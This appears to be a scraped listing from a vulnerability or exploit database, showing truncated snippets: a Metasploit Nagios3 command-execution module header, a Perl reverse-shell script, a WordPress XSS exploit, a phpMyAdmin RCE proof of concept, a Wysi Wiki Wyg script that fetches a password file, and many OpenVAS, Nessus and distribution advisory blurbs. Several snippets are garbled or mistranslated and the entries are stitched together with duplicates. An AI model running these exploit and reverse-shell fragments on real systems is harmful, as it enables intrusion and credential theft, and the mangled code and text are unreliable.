Nagios3 statuswml.cgi Ping Command Execution

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Nagios3...

linux rally acquired the shell operations-vulnerability warning-the black bar safety net

!/ usr/bin/perl-w use strict; use Socket; use I:Handle; if$ARGV+1 != 2 print “$ARGV $0 RemoteIP RemotePort \n”; exit 1; my $remoteip = $ARGV0; my $remoteport = $ARGV1; my $proto = getprotobyname”tcp”; my $packaddr = sockaddrin$remoteport, cannot be stored correctly$remoteip; my $shell =...

WordPress 2.8.1 Cross Site Scripting

!/bin/bash echo "wp281.quickprz // iso^kpsbr" SITE=$1 COMMENT=$2 MESSAGE="h4x0riZed by the superfreakaz0rz" if "X$SITE" = "X" ; then echo "$0 postID" echo "f.e. $0 www.worstpress.eu" exit fi if "X$POSTID" = "X" ; then POSTID=1 fi echo "+ building payload" WHERE="title" can also be 'content'...

phpMyAdmin - '/scripts/setup.php' PHP Code Injection

!/bin/bash CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11 by pagvac gnucitizen.org, 4th June 2009. special thanks to Greg Ose labs.neohapsis.com for discovering such a cool vuln, and to str0ke milw0rm.com for testing this PoC script and providing feedback! PoC...

MDVA-2009:062 : bash

Bash as shipped with Mandriva Linux 2009.0 was executing keychain for new users even if the application was not installed. This updated package prevents this from happening. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a security fix...

Fedora Core 9 FEDORA-2009-3640 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3640. Note: This VT has been deprecated and is therefore no longer functional. SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright...

Fedora Core 10 FEDORA-2009-3639 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3639. OpenVAS Vulnerability Test $Id: fcore20093639.nasl 6624 2017-07-10 06:11:55Z cfischer $ Description: Auto-generated from advisory FEDORA-2009-3639 bash-completion Authors: Thomas Reinke Copyright:...

Fedora Core 9 FEDORA-2009-3640 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3640. OpenVAS Vulnerability Test $Id: fcore20093640.nasl 6624 2017-07-10 06:11:55Z cfischer $ Description: Auto-generated from advisory FEDORA-2009-3640 bash-completion Authors: Thomas Reinke Copyright:...

Fedora 9 : bash-completion-1.0-2.fc9 (2009-3640)

Update to version 1.0: http://git.debian.org/?p=bash-completion/bash- completion.git;a=blob;f=CHANGES;hb=28cdfc9243da41f5bdb29b7515482354c01 438d3 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to...

Fedora 10 : bash-completion-1.0-2.fc10 (2009-3639)

Update to version 1.0: http://git.debian.org/?p=bash-completion/bash- completion.git;a=blob;f=CHANGES;hb=28cdfc9243da41f5bdb29b7515482354c01 438d3 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to...

[SECURITY] Fedora 9 Update: bash-completion-1.0-2.fc9

bash-completion is a collection of shell functions that take advantage of the programmable completion feature of bash 2...

[SECURITY] Fedora 10 Update: bash-completion-1.0-2.fc10

bash-completion is a collection of shell functions that take advantage of the programmable completion feature of bash 2...

MDVA-2008:125 : bash-completion

The bash-completion package shipped in Mandriva Linux 2008 Spring had a problem with scp remote host completion, as reported in bug 42063. The updated package fixes the issue. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a security fix...

Mandriva Update for bash-completion MDVA-2008:125 (bash-completion)

Check for the Version of bash-completion OpenVAS Vulnerability Test Mandriva Update for bash-completion MDVA-2008:125 bash-completion Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute i...

ZeroShell Code Execution

======================================================================== ZeroShell /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user The parameter "type" is used to distinguish between users, CA and host certificates. Unfortunately, this parameter is passed to the following code wi...

Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit

Exploit for unknown platform in category web applications ================================================== Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit ================================================== !/bin/bash Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit by athos - staker host=$...

Wysi Wiki Wyg 1.0 - Remote Password Retrieve

!/bin/bash Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit by athos - stakerathotmaildotit host=$1; name=$2; path='/config/passwd.txt'; if "$name" = "" ; then echo "Usage: bash $0 host/path filename"; echo "by athos - stakerathotmaildotit"; exit; fi; curl $host/$path $name; clear cat $name;...

CVE-2008-5374

bash-doc 3.2 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/cb.? temporary file, related to the 1 aliasconv.sh, 2 aliasconv.bash, and 3 cshtobash scripts...

Code injection

bash-doc 3.2 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/cb.? temporary file, related to the 1 aliasconv.sh, 2 aliasconv.bash, and 3 cshtobash scripts...

CVE-2008-5374

bash-doc 3.2 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/cb.? temporary file, related to the 1 aliasconv.sh, 2 aliasconv.bash, and 3 cshtobash scripts...